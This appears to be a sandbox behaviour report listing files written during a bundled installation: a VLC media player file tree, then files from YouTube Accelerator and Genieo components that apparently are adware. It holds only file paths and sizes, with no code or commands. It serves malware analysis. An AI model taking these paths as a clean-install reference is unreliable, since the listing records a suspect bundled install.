%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_configuration.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_dialog.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sout.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-1.5.1.min.js (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\reader\filename.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-ui-1.8.13.custom.min.js (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\extreme.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_up.png (112 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm.xml (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_modules.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_httpd.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll (16424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdB04D.tmp\ioSpecial.ini (10381 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pinkbike.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png (201 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlccore.dll (68506 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_view.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll (35001 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fourcc.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sout.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\repeat.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sort.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\canalplus.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block_helper.h (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlc.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\.hosts (122 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png (103 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\info.png (142 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default.cfg (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo (21216 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_codec.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo (23296 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_image.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\he\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_http.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\default.vlt (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\koreus.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.lib (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_stream.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_art_finder.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_network.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mtime.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white_cross_small.png (96 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll (34773 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete_small.png (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdB04D.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_cpu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\sandbox.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\playlist (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo (444 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\lelombrik.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\Documentation.url (55 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll (34773 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo (6584 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Release Notes.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSans.ttf (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\next.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_09.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc.h (15 bytes)
C:\Users\Public\Desktop\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\http.luac (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_epg.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\fullscreen.png (121 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png (95 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kmr\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\snapshot.png (206 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_acl.h (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnB03C.tmp (2019660 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_access.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\COPYING.txt (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sd.png (116 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_point.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\New_Skins.url (64 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\pause.png (82 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\vimeo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_player.h (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\.hosts (289 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo (25824 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_filter.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\shuffle.png (110 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\metachannels.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Audio-48.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_bar.png (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube_homepage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll (1552 bytes)

The process YouTubeAcceleratorService.exe:3204 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBCDF5.tmp (44 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3204.log (591 bytes)
C:\Windows\Temp\SBC3AC3.tmp (547 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC15A5.tmp (44 bytes)
C:\Windows\Temp\SBC637.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6725 bytes)
C:\Windows\Temp\SBC1150.tmp (98 bytes)
C:\Windows\Temp\SBC1AF3.tmp (51193 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3204_YouTubeAcceleratorService.log (213098 bytes)
C:\Windows\Temp\SBCFB26.tmp (547 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)

The process YouTubeAcceleratorService.exe:3576 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process trayapp_setup.gen:3788 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\x_white.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack4.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\miniview.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\anabel_ui.js (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\buttonBg.png (141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_bird.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\anabel_data.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack1sm.png (769 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\GenieoPartnerWindow.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm1frame1sm.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\genieo_logo2.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\red.gif (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\js\main.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\splash_bg.jpg (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\cluster_default1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\tpl\settings.tpl (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\img\button.png (342 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\notification.html (937 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\notification_disabled_nav_next.png (161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\warming_up.gif (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\opera_extension.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\img\notification_controls.png (441 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_8.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\Preferences.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extOpera1.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\big_image_frame.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frameSm.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_8sm.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\genieo_slogan_fr.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\tryAgainButton.png (710 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\fr.css (211 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\miniview.html (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\page_arrows_blue.png (277 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\genieo_slogan_inner_ru.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\heart.png (658 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\ServerConnector.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\cmd_close_red.gif (840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdD2AA.tmp (82165 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\genieoRss.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\notification.html (860 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\buttonSp.png (837 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\partner_item_bg.gif (879 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\default_image.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\.project (487 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\set_full_view_btn.png (536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\previewPublish.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\birthday.css (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\notification_disabled_nav_prev.png (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extSafariWin1.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\img\button.png (342 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\magazinePreview\title.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\prototype.jsonp.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\okCancelButton.png (734 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\ad_no_image.png (876 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\cluster_default.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\notification_popup_bg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\bummer.png (750 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extFirefoxMac3.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\hotItemIcon.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\happy.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_6.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\social_icons.png (893 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\redSqSm.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extChromeMac1.png (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitterButton.png (955 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\h_bg.png (331 bytes)
